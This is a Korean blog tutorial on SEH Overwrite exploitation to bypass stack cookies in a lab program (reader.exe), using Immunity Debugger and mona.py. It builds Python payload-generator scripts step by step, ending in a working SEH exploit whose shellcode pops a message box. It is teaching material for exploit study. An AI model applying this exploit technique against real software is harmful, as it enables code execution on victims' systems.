SEH Overwrite

스택 쿠키가 적용된 프로그램을 대상으로 스택 버퍼 오버플로우 공격을 하면 함수 끝 부분에 위치한 스택 쿠키 검증 코드로 인해 예외가 발생하고, 프로그램이 종료된다.


하지만, 스택 쿠키 검증 코드가 실행되기 전 강제로 예외를 발생시키고, 등록된 SEH 체인에 쉘코드로 이동하게 만든다면 스택 쿠키를 우회할 수 있다.


기존의 등록된 SEH 체인을 덮어씌우는 것이 SEH Overwrite이다.

 

구분 내용
1 스택에 위치한 RET를 넘어서 SEH 체인을 덮어씌우면 예외가 발생하고, 예외 핸들러가 실행된다. (강제로 예외 발생)
2 예외 핸들러에 Next SEH를 가리키는 명령어(POP POP RET) 주소로 덮어씌운다.
3 POP, POP, RET가 실행되면 Next SEH로 돌아오게 되고, 이곳에 쉘코드로 이동할 수 있는 명령어 주소로 덮어씌우면 쉘코드가 실행된다.

SEH Overwrite 공격 과정



스택 쿠키 실습 때 사용한 reader.exe 파일([표 2-2)로 SEH Overwrite 실습을 진행한다. 파이썬 스크립트로 1000개의 "A" 문자열을 2.txt 파일로 저장하는 코드를 작성한다.


작성된 코드를 실행하면 2.txt 파일이 실행되고, 이뮤니티 디버거로 reader.exe를 인자를 지정하여 연다.


# 2.txt - by Daze
import struct
 
junk1 = "A" * 1000
 
f = open("2.txt", "w")
f.write(junk1)
f.close()
 
print "[+] text file created successfully"

메인 함수(0x401000)에서 코드 한 줄씩 디버깅을 하면 0x401079 주소에서 예외가 발생한다.


해당 주소는 입력 받는 파일(0x40106D)의 내용을 1000 바이트(0x401073) 읽어 500 바이트 크기의 readbuf 변수(0x401078)에 저장하는 fgets() 함수이다.

 

이 함수 밑에는 스택 쿠키 검증 코드(0x40108D)가 존재하며 스택 쿠키 검증 코드가 실행되기 전에 예외가 발생한다.


예외 발생 지점


예외 발생하기 위한 버퍼의 크기
reader.exe 파일의 소스 코드를 보면 오버 플로우가 발생한 변수는 readbuf[500]이다. 스택 쿠키를 우회하기 위해서 강제로 스택 쿠키 검증 코드를 호출되지 않게 하고, 기존의 SEH를 덮어씌워야 한다.

일반적인 스택 버퍼 오버플로우는 readbuf 크기보다 좀 더 큰 데이터(예: 504 바이트)를 입력하면 되지만, SEH Overwrite 공격은 504 바이트를 입력하면 예외가 발생하지 않는다.


SEH를 덮기 위한 크기를 구하려면 스택 베이스 주소와 버퍼의 시작 주소를 알아야 한다.


WinDbg에서 _nt_tib 멤버를 보면 스택베이스가 fs 세그먼트 레지스터의 두 번째 요소(FS:[04])이다. 이 멤버는 할당 된 스택 영역의 기준점이 되는 주소로 이 주소값을 넘어가면 오버플로우가 발생한다.


스택베이스 주소

이뮤니티 디버거에서 덤프 창에 Ctrl + G > FS:[04]를 입력하면 스택베이스 주소(0x130000)를 확인할 수 있다.


또한, 복사 함수가 호출되기 전 스택을 보면 버퍼의 시작 주소가 0x12FD4C이다. 스택베이스 주소와 버퍼의 시작 주소 값을 빼면 0x2B4(692)이다. 이 값은 스택 검증 코드가 호출되지 않고, 예외를 발생시키기 위한 버퍼의 크기이다.


함수 호출 전

692 바이트보다 작은 값을 입력하면 예외가 발생하지 않지만 692 바이트보다 큰 값을 입력하면 예외가 발생한다.


함수 호출 후 예외 발생

예외가 발생한 지점인 0x401079 주소의 코드를 실행하기 전 SEH 체인 확인해보자.


SEH 체인은 Alt + S를 눌러 확인할 수 있지만, mona.py의 exchain 명령어로도 확인할 수 있다. exchain 명령어를 입력하면 Next SEH와 Handler가 정상적으로 등록되어 있다.


○ !mona exchain


예외 발생 전 SEH 체인


0x401079 주소의 코드를 실행하면 EXCEPTION_ACCESS_VIOLATION 예외가 발생하여 0x40107F 주소의 코드가 실행되지 않고, 디버거에게 제어권이 넘어간다.


예외가 발생하면 등록된 SEH 체인을 확인하여 예외 처리 핸들러를 실행한다.

 

하지만, 현재 덤프창에서 등록된 SEH 체인을 보면 Next SEH와 Handler가 0x41414141(AAAA)로 덮어씌워져 정상적으로 예외 처리를 하지 못한다.


○ 덤프창 > Ctrl + G > FS:[0]


예외 발생


예외 발생 후 SEH 체인을 보면 Next SEH와 Handler가 0x41414141(AAAA)로 덮어씌워져 있다.


예외가 발생하면 핸들러가 호출되어 예외 처리를 하는데, 0x41414141은 존재하지 않는 주소이고, 예외 처리를 할 수 없는 주소이므로 EXCEPTION_ACCESS_VIOLATION 예외가 발생한 것이다.


예외 발생 후 SEH 체인


예외가 발생한 지점인 0x401079 주소의 코드를 실행하기 전 readbuf 변수는 0x12FD48 주소에 500 바이트 크기를 할당 받았다.


하지만, 예외가 발생한 후 0x41414141(AAAA)로 덮어씌워졌고, Next SEH와 Handler도 0x41414141(AAAA)로 덮어씌워 졌다.


예외 발생 후 스택


디버거에게 제어권이 넘어간 상태이므로 Shift + F8을 눌러 예외를 디버기(reader.exe)에게 돌려준다. 스택 창을 보면 예외 처리를 위한 코드로 넘어가게 되고, F9를 누르면 등록된 예외 핸들러가 실행된다.


등록된 예외 핸들러는 0x41414141인데, 실질적으로 존재하지 않는 주소이므로 예외가 발생한다. 또한, EIP도 0x41414141(AAAA)로 덮어씌워진 것으로 보아 EIP를 제어할 수 있음을 뜻한다.


예외 발생 후 스택


프로그램에서 예외가 발생하면 예외를 처리하기 위한 새로운 스택 프레임(핸들러)이 생성되어 호출된다. 예외 처리를 위한 스택은 예외가 발생하기 전의 스택과 전혀 다른 스택이다.


해당 스택 프레임이 초기화 단계(함수 프롤로그)에서 ESP+8 위치에 EXCEPTION_REGISTRATION_RECORD 구조체 포인터가 저장되어 있다. 이 구조체 포인터는 Next SEH를 가리키는 주소이다.


ESP+8 위치에 Next SEH가 존재하는지 확인하고 싶다면 Shift + F8을 눌러 예외를 디버기에게 돌려주고, 예외 처리를 위한 코드에서 F7/F8를 눌러 디버깅하기 바란다.


( [그림 2-33], [그림 2-34]) 예외 발생 후 스택창을 보면 ESP+8(0x12F7A0), ESP+1C(0x12F7B4) 주소에 Next SEH 주소가 저장되어 있다. 해당 주소(ESP+8 등)는 고정적이므로 예외 처리 핸들러에 POP POP RET 명령어를 사용하는 코드를 주입한다.


POP 명령어를 두 번 사용하면 ESP는 Next SEH 주소(0x12FF78)를 가리키게 되고, RET 명령어가 실행되면 Next SEH 주소로 이동한다. POP POP RET를 하면 예외가 처리되지 않아 Next SEH가 가리키는 주소로 이동하게 된다.


Next SEH 주소에 밑에 위치한 쉘코드로 이동하기 위한 명령어를 사용하는 코드를 주입하면 쉘코드로 이동되어 실행된다. [그림 2-45]를 보면 Next SEH 밑에 쉘코드가 위치한 것을 확인할 수 있다. 이는 예외 처리를 위한 스택이 아닌 기존 스택 프레임이다.


1,000개의 "A" 문자열을 입력했을 때, 예외 처리 핸들러와 EIP가 변조된 것을 확인했다. 예외 처리 핸들러의 정확한 위치를 확인하기 위해 일정한 규칙을 갖는 1,000개의 패턴을 생성하여 3.txt 파일로 저장하는 코드를 작성한다.


○ !mona pattern_create 1000


# 3.txt - by Daze
import struct

junk1 = "Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3A... # pattern_create 1000

f = open("3.txt", "w")
f.write(junk1)
f.close()

print "[+] text file created successfully"

이뮤니티 디버거로 reader.exe를 인자(3.txt)를 지정하여 열어 F9 > Shift + F8 > F9 단계로 누르면 예외 처리 핸들러와 EIP가 변조된다.


예외 발생 후 스택


SEH 체인을 보면 핸들러가 0x37734136 주소로 변조되었고, 예외를 발생시키기 위한 버퍼의 크기는 556 바이트이다. 또한, 공격 코드는 [Junk * 556] [Next SEH] [Handler] [shellcode] [Junk]로 구성된다고 알려준다.


!mona pattern_offset 37734136를 입력하면 패턴 위치가 560 바이트라고 출력된다. 560 바이트는 핸들러의 시작 위치이고, 556바이트는 Next SEH의 시작 위치이다.


○ !mona exchain

○ !mona pattern_offset 37734136


SEH 체인


!mona exchain 명령어로 확인한 공격 코드 구성으로 작성하여 4.txt 파일로 저장하는 코드를 작성한다.


# 4.txt - by Daze
import struct

junk1 = "A" * 556
nseh = "B" * 4
handler = "C" * 4
buf = "D" * 400
payload = junk1 + nseh + handler + buf

f = open("4.txt", "w")
f.write(payload)
f.close()

print "[+] text file created successfully"

이뮤니티 디버거로 reader.exe를 인자를 지정하여 열면 공격 코드와 동일하게 Next SEH에 0x42424242(BBBB)로 덮어씌워 졌고, Handler에 0x43434343(CCCC)으로 덮어씌워 졌다.


예외 발생 후 스택


예외 처리 핸들러에 POP POP RET 명령어를 사용하는 주소를 주입하면 해당 예외를 제대로 처리하지 못해 Next SEH 주소로 이동된다.


이뮤니티 디버거에서 !mona seh 명령어를 입력하면 POP POP RET 명령어를 사용하는 주소를 확인할 수 있다.


○ !mona seh

○ !search pop r32\npop r32\nret


코드 조각 검색 결과


총 4개의 주소가 사용되며, SafeSEH가 적용되지 않는 모듈 주소(0x401246)로 이동하면 POP POP RET 명령어를 확인할 수 있다.


명령어를 사용하는 주소


POP POP RET 명령어 주소(0x401246)를 handler 변수에 설정하고, 5.txt 파일을 저장하는 코드를 작성한다.


# 5.txt - by Daze
import struct

junk1 = "A" * 556
nseh = "B" * 4
handler = struct.pack('<L',0x401246)
buf = "D" * 400
payload = junk1 + nseh + handler + buf

f = open("5.txt", "w")
f.write(payload)
f.close()

print "[+] text file created successfully"

이뮤니티 디버거로 reader.exe를 인자(5.txt)를 지정하여 연다. 조작한 핸들러 주소(0x401246)에 브레이크 포인트를 설정하고, F9 > Shift + F8 > F9를 누르면 등록된 예외 핸들러에 멈춘다.


현재 ESP는 스택의 0x12F798를 가리키고 있으며, ESP+8에 Next SEH 주소(0x12FF78)가 저장되어 있다.


예외 핸들러 실행


F8를 누르면 ESP는 0x12F79C 주소를 가리킨다.


POP 명령어 실행


F8를 누르면 ESP는 0x12F7A0 주소를 가리키며, 이 주소에 Next SEH 주소(0x12FF78)가 저장되어 있다.


POP 명령어 실행


F8를 누르면 RET 명령어가 실행되어 Next SEH 주소(0x12FF78)로 이동된다.


RET 명령어 실행


Next SEH는 등록된 예외 핸들러가 예외를 처리하지 못할 때, 다음 예외를 가리킨다.


하지만, 현재 Next SEH(0x12FF78)는 다음 Next SEH 주소를 0x42424242(BBBB) 주소로 가리키고 있고, 예외 핸들러는 존재하지 않는 주소 0x00000000 이므로 디버깅을 하면 계속 예외가 발생한다.


SEH 체인


Next SEH 주소 밑부분에는 쉘코드가 저장되어 있으므로 Next SEH에 쉘코드로 이동하는 명령어를 주입한다면 쉘코드가 실행될 것이다.


CALL 12FF80을 사용하면 4바이트보다 크기 때문에 스택이 망가진다. 쉘코드로 이동할 수 있는 4바이트보다 작은 명령어를 사용해야 한다.


Ctrl + G를 눌러 JMP 12FF80을 입력하면 자동으로 JMP SHORT 명령어가 대입된다. JMP SHORT는 2바이트로 구성 된 이동 명령어이다. 0xEB는 JMP SHORT를 가리키는 기계어이고, 0x06은 이동할 거리를 나타낸다.


○ 0x12FF78 주소부터 쉘코드 시작 주소(0x12FF80)까지 거리 : 8바이트


Next SEH 실행


명령어 패치는 4바이트 단위로 수행되기 때문에 쉘코드로 이동하는 JMP SHORT 명령어의 기계어 코드와 2개의 '0x90'(NOP)를 nseh 변수에 설정한다.


buf 변수에 메시지 박스를 출력하는 쉘코드를 설정하고, exploit1.txt 파일로 저장하는 코드를 작성한다.


# exploit1.txt - by Daze
import struct

junk1 = "A" * 556
nseh = struct.pack('<L',0x90906eb)
handler = struct.pack('<L',0x401246)
nop = "\x90" * 20

buf = ""
buf += "\x31\xd2\xb2\x30\x64\x8b\x12\x8b\x52\x0c\x8b\x52\x1c\x8b\x42"
buf += "\x08\x8b\x72\x20\x8b\x12\x80\x7e\x0c\x33\x75\xf2\x89\xc7\x03"
buf += "\x78\x3c\x8b\x57\x78\x01\xc2\x8b\x7a\x20\x01\xc7\x31\xed\x8b"
buf += "\x34\xaf\x01\xc6\x45\x81\x3e\x46\x61\x74\x61\x75\xf2\x81\x7e"
buf += "\x08\x45\x78\x69\x74\x75\xe9\x8b\x7a\x24\x01\xc7\x66\x8b\x2c"
buf += "\x6f\x8b\x7a\x1c\x01\xc7\x8b\x7c\xaf\xfc\x01\xc7\x68\x63\x6b"
buf += "\x21\x01\x68\x65\x20\x48\x61\x68\x20\x44\x61\x7a\x89\xe1\xfe"
buf += "\x49\x0b\x31\xc0\x51\x50\xff\xd7"

payload = junk1 + nseh + handler + buf + nop

f = open("exploit1.txt", "w")
f.write(payload)
f.close()

print "[+] text file created successfully"

이뮤니티 디버거로 reader.exe를 인자(exploit1.txt)를 지정하여 연다.


조작한 핸들러 주소(0x401246)에 브레이크 포인트를 설정하고, F9 > Shift + F8 > F9를 누르면 등록된 예외 핸들러에 멈춘다. 현재 ESP는 스택의 0x12F798를 가리키고 있으며, ESP+8에 Next SEH 주소(0x12FF78)가 저장되어 있다.


예외 핸들러 실행


POP POP RET 명령어가 실행되면 Next SEH 주소로 이동된다. 해당 주소에 쉘코드로 이동하는 JMP SHORT 명령어로 인해 쉘코드로 이동하여 실행하게 된다.


쉘코드 실행


▶ Tomabo MP4 Player 3.11.6 취약점 분석 (SEH Based Stack Overflow)

▶ Stack Adjustment - Stack BOF

▶ SafeSEH 우회 - Stack BOF

▶ SEH(Structured Exception Handler) - Stack BOF

▶ Stack Cookie(GS Cookie) - Stack BOF

▶ Easy RM to MP3 Converter(Stack Buffer Overflow) 취약점 분석

▶ UAC(User Account Control) 우회 - PowerShell

  • 카카오톡-공유
  • 네이버-블로그-공유
  • 네이버-밴드-공유
  • 페이스북-공유
  • 트위터-공유
  • 카카오스토리-공유